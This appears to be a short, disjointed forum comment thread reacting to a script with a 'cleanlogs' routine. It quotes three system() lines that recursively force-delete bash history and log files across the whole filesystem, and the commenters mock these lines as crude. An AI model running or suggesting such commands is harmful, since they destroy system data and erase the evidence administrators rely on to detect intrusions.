That /^cleanlogs/ just made me cringe. Holy crap.
Yup. It's not that hard to setup, and while running it in a VM isn't as secure as can be, it's still a step in the right direction.
https://lwn.net/Articles/512895/
But only every ~15 minutes or so.
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
Not very subtle.